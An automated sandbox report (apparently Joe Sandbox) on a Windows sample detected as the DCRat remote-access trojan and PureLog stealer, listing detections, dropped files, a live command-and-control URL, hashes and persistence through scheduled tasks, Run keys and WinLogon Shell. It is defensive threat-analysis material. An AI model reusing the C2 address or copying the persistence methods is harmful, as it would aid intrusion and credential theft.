Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 File Deletion	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	33 Masquerading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	271 Virtualization/Sandbox Evasion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	11 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
0wdppTE7Op.exe	68%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
0wdppTE7Op.exe	100%	Avira	HEUR/AGEN.1323342
0wdppTE7Op.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\Desktop\JGwsqFZW.log	100%	Avira	TR/AVI.Agent.updqb
C:\Users\user\Desktop\jlNXDlep.log	100%	Avira	TR/AVI.Agent.updqb
C:\Users\user\AppData\Local\Temp\rYfvxS8JxL.bat	100%	Avira	BAT/Delbat.C
C:\Program Files\Windows NT\TableTextService\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe	100%	Avira	HEUR/AGEN.1323342
C:\Users\user\Desktop\lBrNuEzT.log	100%	Avira	TR/PSW.Agent.qngqt
C:\Users\user\Desktop\CDADXqpE.log	100%	Avira	TR/PSW.Agent.qngqt
C:\Program Files\Windows NT\TableTextService\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe	100%	Avira	HEUR/AGEN.1323342
C:\Users\user\Desktop\DealcvOk.log	100%	Joe Sandbox ML
C:\Program Files\Windows NT\TableTextService\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe	100%	Joe Sandbox ML
C:\Users\user\Desktop\lBrNuEzT.log	100%	Joe Sandbox ML
C:\Users\user\Desktop\CDADXqpE.log	100%	Joe Sandbox ML
C:\Users\user\Desktop\oZfWghud.log	100%	Joe Sandbox ML
C:\Program Files\Windows NT\TableTextService\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe	100%	Joe Sandbox ML
C:\Program Files\Windows NT\TableTextService\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe	68%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\ProgramData\Microsoft OneDrive\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe	68%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Users\user\Desktop\CDADXqpE.log	71%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Users\user\Desktop\DealcvOk.log	8%	ReversingLabs
C:\Users\user\Desktop\HqRBAmEs.log	38%	ReversingLabs	ByteCode-MSIL.Trojan.Generic
C:\Users\user\Desktop\JGwsqFZW.log	50%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Users\user\Desktop\ZoLhjnQK.log	25%	ReversingLabs
C:\Users\user\Desktop\eLngwYfk.log	25%	ReversingLabs
C:\Users\user\Desktop\jlNXDlep.log	50%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Users\user\Desktop\lBrNuEzT.log	71%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Users\user\Desktop\oIpWQWtP.log	38%	ReversingLabs	ByteCode-MSIL.Trojan.Generic
C:\Users\user\Desktop\oZfWghud.log	8%	ReversingLabs
C:\Windows\RemotePackages\RemoteApps\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe	68%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Windows\Temp\Crashpad\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe	68%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Windows\twain_32\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe	68%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat

Source	Detection	Scanner	Label	Link
http://817087cm.nyashteam.ru/Jsmultiwp.php	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
817087cm.nyashteam.ru	104.21.2.8	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://817087cm.nyashteam.ru/Jsmultiwp.php	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://duckduckgo.com/chrome_newtab	YIGTMb23T1.42.dr, 4cXxUAGCIa.42.dr, u4VM7E9VOo.42.dr, Ij0f6V4N2F.42.dr, ANkK2bt0D4.42.dr, B3RMihQ38F.42.dr, zps7A8zytZ.42.dr, X1aZCfhDt5.42.dr, 9dgsanWhuo.42.dr, iONlmigzB2.42.dr, gvU5REE85c.42.dr, LONEx05eX1.42.dr, W6hqlOPTQf.42.dr, Z3mWAkJF9L.42.dr, nfm1cT8Ej5.42.dr, WHDyKUYIJq.42.dr, QyQeIe4bxu.42.dr, USXrSBTL3b.42.dr	false	high
http://nuget.org/NuGet.exe	powershell.exe, 00000016.00000002.3017500323.000001E4201E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.3018654855.00000185E36B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.3100097229.00000163CADA8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.3014471608.000001DD23BA8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.3108950490.000001CCD0488000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001F.00000002.3049525077.0000023D6BEC8000.00000004.00000800.00020000.00000000.sdmp	false	high
https://duckduckgo.com/ac/?q=	YIGTMb23T1.42.dr, 4cXxUAGCIa.42.dr, u4VM7E9VOo.42.dr, Ij0f6V4N2F.42.dr, ANkK2bt0D4.42.dr, B3RMihQ38F.42.dr, zps7A8zytZ.42.dr, X1aZCfhDt5.42.dr, 9dgsanWhuo.42.dr, iONlmigzB2.42.dr, gvU5REE85c.42.dr, LONEx05eX1.42.dr, W6hqlOPTQf.42.dr, Z3mWAkJF9L.42.dr, nfm1cT8Ej5.42.dr, WHDyKUYIJq.42.dr, QyQeIe4bxu.42.dr, USXrSBTL3b.42.dr	false	high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	YIGTMb23T1.42.dr, 4cXxUAGCIa.42.dr, u4VM7E9VOo.42.dr, Ij0f6V4N2F.42.dr, ANkK2bt0D4.42.dr, B3RMihQ38F.42.dr, zps7A8zytZ.42.dr, X1aZCfhDt5.42.dr, 9dgsanWhuo.42.dr, iONlmigzB2.42.dr, gvU5REE85c.42.dr, LONEx05eX1.42.dr, W6hqlOPTQf.42.dr, Z3mWAkJF9L.42.dr, nfm1cT8Ej5.42.dr, WHDyKUYIJq.42.dr, QyQeIe4bxu.42.dr, USXrSBTL3b.42.dr	false	high
http://pesterbdd.com/images/Pester.png	powershell.exe, 0000001F.00000002.1865460317.0000023D5C078000.00000004.00000800.00020000.00000000.sdmp	false	high
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 00000016.00000002.1861626787.000001E410398000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.1865325429.00000185D3868000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.1885197736.00000163BAF58000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.1861937206.000001DD13D59000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.1870602105.000001CCC0638000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001F.00000002.1865460317.0000023D5C078000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 0000001F.00000002.1865460317.0000023D5C078000.00000004.00000800.00020000.00000000.sdmp	false	high
https://contoso.com/License	powershell.exe, 0000001F.00000002.3049525077.0000023D6BEC8000.00000004.00000800.00020000.00000000.sdmp	false	high
https://contoso.com/Icon	powershell.exe, 0000001F.00000002.3049525077.0000023D6BEC8000.00000004.00000800.00020000.00000000.sdmp	false	high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	YIGTMb23T1.42.dr, 4cXxUAGCIa.42.dr, u4VM7E9VOo.42.dr, Ij0f6V4N2F.42.dr, ANkK2bt0D4.42.dr, B3RMihQ38F.42.dr, zps7A8zytZ.42.dr, X1aZCfhDt5.42.dr, 9dgsanWhuo.42.dr, iONlmigzB2.42.dr, gvU5REE85c.42.dr, LONEx05eX1.42.dr, W6hqlOPTQf.42.dr, Z3mWAkJF9L.42.dr, nfm1cT8Ej5.42.dr, WHDyKUYIJq.42.dr, QyQeIe4bxu.42.dr, USXrSBTL3b.42.dr	false	high
https://g.live.com/odclientsettings/ProdV2.C:	qmgr.db.45.dr	false	high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	YIGTMb23T1.42.dr, 4cXxUAGCIa.42.dr, u4VM7E9VOo.42.dr, Ij0f6V4N2F.42.dr, ANkK2bt0D4.42.dr, B3RMihQ38F.42.dr, zps7A8zytZ.42.dr, X1aZCfhDt5.42.dr, 9dgsanWhuo.42.dr, iONlmigzB2.42.dr, gvU5REE85c.42.dr, LONEx05eX1.42.dr, W6hqlOPTQf.42.dr, Z3mWAkJF9L.42.dr, nfm1cT8Ej5.42.dr, WHDyKUYIJq.42.dr, QyQeIe4bxu.42.dr, USXrSBTL3b.42.dr	false	high
https://www.ecosia.org/newtab/	YIGTMb23T1.42.dr, 4cXxUAGCIa.42.dr, u4VM7E9VOo.42.dr, Ij0f6V4N2F.42.dr, ANkK2bt0D4.42.dr, B3RMihQ38F.42.dr, zps7A8zytZ.42.dr, X1aZCfhDt5.42.dr, 9dgsanWhuo.42.dr, iONlmigzB2.42.dr, gvU5REE85c.42.dr, LONEx05eX1.42.dr, W6hqlOPTQf.42.dr, Z3mWAkJF9L.42.dr, nfm1cT8Ej5.42.dr, WHDyKUYIJq.42.dr, QyQeIe4bxu.42.dr, USXrSBTL3b.42.dr	false	high
https://github.com/Pester/Pester	powershell.exe, 0000001F.00000002.1865460317.0000023D5C078000.00000004.00000800.00020000.00000000.sdmp	false	high
https://ac.ecosia.org/autocomplete?q=	YIGTMb23T1.42.dr, 4cXxUAGCIa.42.dr, u4VM7E9VOo.42.dr, Ij0f6V4N2F.42.dr, ANkK2bt0D4.42.dr, B3RMihQ38F.42.dr, zps7A8zytZ.42.dr, X1aZCfhDt5.42.dr, 9dgsanWhuo.42.dr, iONlmigzB2.42.dr, gvU5REE85c.42.dr, LONEx05eX1.42.dr, W6hqlOPTQf.42.dr, Z3mWAkJF9L.42.dr, nfm1cT8Ej5.42.dr, WHDyKUYIJq.42.dr, QyQeIe4bxu.42.dr, USXrSBTL3b.42.dr	false	high
https://g.live.com/odclientsettings/Prod.C:	svchost.exe, 0000002D.00000003.1907086276.0000020E46656000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.45.dr	false	high
http://www.w3.	0wdppTE7Op.exe, 00000022.00000002.2571149857.000000000354F000.00000004.00000800.00020000.00000000.sdmp, 0wdppTE7Op.exe, 00000023.00000002.2576757074.0000000002F3F000.00000004.00000800.00020000.00000000.sdmp	false	high
https://g.live.com/odclientsettings/ProdV2	qmgr.db.45.dr	false	high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	YIGTMb23T1.42.dr, 4cXxUAGCIa.42.dr, u4VM7E9VOo.42.dr, Ij0f6V4N2F.42.dr, ANkK2bt0D4.42.dr, B3RMihQ38F.42.dr, zps7A8zytZ.42.dr, X1aZCfhDt5.42.dr, 9dgsanWhuo.42.dr, iONlmigzB2.42.dr, gvU5REE85c.42.dr, LONEx05eX1.42.dr, W6hqlOPTQf.42.dr, Z3mWAkJF9L.42.dr, nfm1cT8Ej5.42.dr, WHDyKUYIJq.42.dr, QyQeIe4bxu.42.dr, USXrSBTL3b.42.dr	false	high
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000016.00000002.1861626787.000001E410398000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.1865325429.00000185D3868000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.1885197736.00000163BAF58000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.1861937206.000001DD13D59000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.1870602105.000001CCC0638000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001F.00000002.1865460317.0000023D5C078000.00000004.00000800.00020000.00000000.sdmp	false	high
https://contoso.com/	powershell.exe, 0000001F.00000002.3049525077.0000023D6BEC8000.00000004.00000800.00020000.00000000.sdmp	false	high
https://nuget.org/nuget.exe	powershell.exe, 00000016.00000002.3017500323.000001E4201E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.3018654855.00000185E36B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.3100097229.00000163CADA8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.3014471608.000001DD23BA8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.3108950490.000001CCD0488000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001F.00000002.3049525077.0000023D6BEC8000.00000004.00000800.00020000.00000000.sdmp	false	high
https://aka.ms/pscore68	powershell.exe, 00000016.00000002.1861626787.000001E410171000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.1865325429.00000185D3641000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.1885197736.00000163BAD31000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.1861937206.000001DD13B31000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.1870602105.000001CCC0411000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001F.00000002.1865460317.0000023D5BE51000.00000004.00000800.00020000.00000000.sdmp	false	high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0wdppTE7Op.exe, 00000000.00000002.1758169301.0000000002D85000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1861626787.000001E410171000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.1865325429.00000185D3641000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.1885197736.00000163BAD31000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.1861937206.000001DD13B31000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.1870602105.000001CCC0411000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001F.00000002.1865460317.0000023D5BE51000.00000004.00000800.00020000.00000000.sdmp	false	high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	YIGTMb23T1.42.dr, 4cXxUAGCIa.42.dr, u4VM7E9VOo.42.dr, Ij0f6V4N2F.42.dr, ANkK2bt0D4.42.dr, B3RMihQ38F.42.dr, zps7A8zytZ.42.dr, X1aZCfhDt5.42.dr, 9dgsanWhuo.42.dr, iONlmigzB2.42.dr, gvU5REE85c.42.dr, LONEx05eX1.42.dr, W6hqlOPTQf.42.dr, Z3mWAkJF9L.42.dr, nfm1cT8Ej5.42.dr, WHDyKUYIJq.42.dr, QyQeIe4bxu.42.dr, USXrSBTL3b.42.dr	false	high
https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6	qmgr.db.45.dr	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
172.67.186.200	unknown	United States		13335	CLOUDFLARENETUS	false
104.21.2.8	817087cm.nyashteam.ru	United States		13335	CLOUDFLARENETUS	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1572695
Start date and time:	2024-12-10 18:59:21 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 21s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	50
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	0wdppTE7Op.exe renamed because original name is a hash value
Original Sample Name:	6706364c78566c589c6c45217e852b02.exe
Detection:	MAL
Classification:	mal100.spre.troj.spyw.expl.evad.winEXE@40/299@1/3
EGA Information:	Successful, ratio: 50%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, schtasks.exe
Excluded IPs from analysis (whitelisted): 23.218.208.109, 20.12.23.50, 13.107.246.63, 4.175.87.197
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, e16604.g.akamaiedge.net, ctldl.windowsupdate.com, prod.fs.microsoft.com.akadns.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target 0wdppTE7Op.exe, PID 8008 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtQueryVolumeInformationFile calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: 0wdppTE7Op.exe

Simulations

Behavior and APIs

Time	Type	Description
13:00:20	API Interceptor	157x Sleep call for process: powershell.exe modified
13:00:32	API Interceptor	1810153x Sleep call for process: 0wdppTE7Op.exe modified
13:00:35	API Interceptor	2x Sleep call for process: svchost.exe modified
18:00:16	Task Scheduler	Run new task: 0wdppTE7Op path: "C:\Users\user\Desktop\0wdppTE7Op.exe"
18:00:17	Task Scheduler	Run new task: 0wdppTE7Op0 path: "C:\Users\user\Desktop\0wdppTE7Op.exe"
18:00:17	Task Scheduler	Run new task: SSnsduzASLgjHWjPpweraeKhUEuCEv path: "C:\Windows\Temp\Crashpad\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe"
18:00:17	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run SSnsduzASLgjHWjPpweraeKhUEuCEv "C:\Windows\Temp\Crashpad\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe"
18:00:18	Task Scheduler	Run new task: SSnsduzASLgjHWjPpweraeKhUEuCEvS path: "C:\Windows\Temp\Crashpad\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe"
18:00:26	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 0wdppTE7Op "C:\Users\user\Desktop\0wdppTE7Op.exe"
18:00:37	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run SSnsduzASLgjHWjPpweraeKhUEuCEv "C:\Windows\Temp\Crashpad\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe"
18:00:53	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 0wdppTE7Op "C:\Users\user\Desktop\0wdppTE7Op.exe"
18:01:01	Autostart	Run: HKLM64\Software\Microsoft\Windows\CurrentVersion\Run SSnsduzASLgjHWjPpweraeKhUEuCEv "C:\Windows\Temp\Crashpad\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe"
18:01:09	Autostart	Run: HKLM64\Software\Microsoft\Windows\CurrentVersion\Run 0wdppTE7Op "C:\Users\user\Desktop\0wdppTE7Op.exe"
18:01:26	Autostart	Run: WinLogon Shell "C:\Users\All Users\Microsoft OneDrive\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe"
18:01:34	Autostart	Run: WinLogon Shell "C:\Program Files\Windows NT\TableTextService\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe"
18:01:43	Autostart	Run: WinLogon Shell "C:\Windows\RemotePackages\RemoteApps\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe"
18:01:51	Autostart	Run: WinLogon Shell "C:\Windows\twain_32\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe"
18:01:59	Autostart	Run: WinLogon Shell "C:\Windows\Temp\Crashpad\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe"
18:02:08	Autostart	Run: WinLogon Shell "C:\Users\user\Desktop\0wdppTE7Op.exe"

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
172.67.186.200	kqq1aAcVUQ.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	319351cm.nyashteam.ru/Providerto_pollProcessorbigloadprotectSqlWpLocal.php
104.21.2.8	kqq1aAcVUQ.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	ssB9bjDQPf.exe	Get hash	malicious	Stealc	Browse	172.67.179.207
	JNKHlxGvw4.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	104.21.16.1
	http://enteolcl.top/	Get hash	malicious	Unknown	Browse	104.21.112.1
	ACQUISITION OF A CONSERVATIVE REFRIGERATOR.exe	Get hash	malicious	FormBook	Browse	104.21.64.208
	751ietQPnX.lnk	Get hash	malicious	RHADAMANTHYS	Browse	172.64.41.3
	l92fYljXWF.lnk	Get hash	malicious	RHADAMANTHYS	Browse	172.64.41.3
	qxjDerXRGR.lnk	Get hash	malicious	RHADAMANTHYS	Browse	172.64.41.3
	taCCGTk8n1.lnk	Get hash	malicious	RHADAMANTHYS	Browse	172.64.41.3
	Richiesta di Indagine sulla Violazione del Copyright lnk.lnk	Get hash	malicious	Unknown	Browse	172.64.41.3
	CMK7DB5YtR.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.64.1
CLOUDFLARENETUS	ssB9bjDQPf.exe	Get hash	malicious	Stealc	Browse	172.67.179.207
	JNKHlxGvw4.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	104.21.16.1
	http://enteolcl.top/	Get hash	malicious	Unknown	Browse	104.21.112.1
	ACQUISITION OF A CONSERVATIVE REFRIGERATOR.exe	Get hash	malicious	FormBook	Browse	104.21.64.208
	751ietQPnX.lnk	Get hash	malicious	RHADAMANTHYS	Browse	172.64.41.3
	l92fYljXWF.lnk	Get hash	malicious	RHADAMANTHYS	Browse	172.64.41.3
	qxjDerXRGR.lnk	Get hash	malicious	RHADAMANTHYS	Browse	172.64.41.3
	taCCGTk8n1.lnk	Get hash	malicious	RHADAMANTHYS	Browse	172.64.41.3
	Richiesta di Indagine sulla Violazione del Copyright lnk.lnk	Get hash	malicious	Unknown	Browse	172.64.41.3
	CMK7DB5YtR.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.64.1

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\Desktop\CDADXqpE.log	JNKHlxGvw4.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	KyC6hVwU8Z.exe	Get hash	malicious	DCRat	Browse
	4si9noTBNw.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	fnNUIS1KeW.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	kqq1aAcVUQ.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	Qsi7IgkrWa.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	A5EbyKyjhV.exe	Get hash	malicious	DCRat	Browse
	hjgesadfseawd.exe	Get hash	malicious	DCRat	Browse
	adjthjawdth.exe	Get hash	malicious	DCRat	Browse
	qNdO4D18CF.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse

Created / dropped Files

C:\Program Files\Windows NT\TableTextService\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe

Download File

Process:	C:\Users\user\Desktop\0wdppTE7Op.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1960960
Entropy (8bit):	7.551693494526309
Encrypted:	false
SSDEEP:	49152:JV9LiEUzT6V+qiRGVcqb++v8PlPwvwOfPGZyM1b2DAWsM:JnezTGriRRq3vGNCJfPOy4b
MD5:	6706364C78566C589C6C45217E852B02
SHA1:	E0BC8A67A91D5EA42C072E63F36F4993D9620C2D
SHA-256:	87FA5D0D7912D7A1295E7D585F41797BC5C76A5EA7D9D7B362FCC20472715F9B
SHA-512:	3AED779886DCB08BAC7EDA66CF4B4ADBCF420AC0DFC702EF645F231CC40F0801CD16B35CAFB12DC5B7125C237DF65DF091366C884CE20158447752507E1023F7
Malicious:	true
Yara Hits:	Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\Program Files\Windows NT\TableTextService\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files\Windows NT\TableTextService\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files\Windows NT\TableTextService\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files\Windows NT\TableTextService\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files\Windows NT\TableTextService\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files\Windows NT\TableTextService\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files\Windows NT\TableTextService\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files\Windows NT\TableTextService\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files\Windows NT\TableTextService\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files\Windows NT\TableTextService\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 68%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...f@Gg................................. ... ....@.. .......................`............@.................................P...K.... .. ....................@....................................................... ............... ..H............text........ ...................... ..`.rsrc... .... ......................@....reloc.......@......................@..B........................H...........l............................................................0..........(.... ........8........E...............N...8....(.... ....~k...{....:....& ....8....(.... ....~k...{....:....& ....8....(.... ....~k...{....9....& ....8y......0..'....... ........8........E....]...........9...*...........8X......... ....~k...{....:....& ....8....8.... ....8....8.... ....~k...{....:....& ....8....~....(5... .... .... ....s....~....(9....... ....~k...{....:B...& ....87.......~

C:\Program Files\Windows NT\TableTextService\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\0wdppTE7Op.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
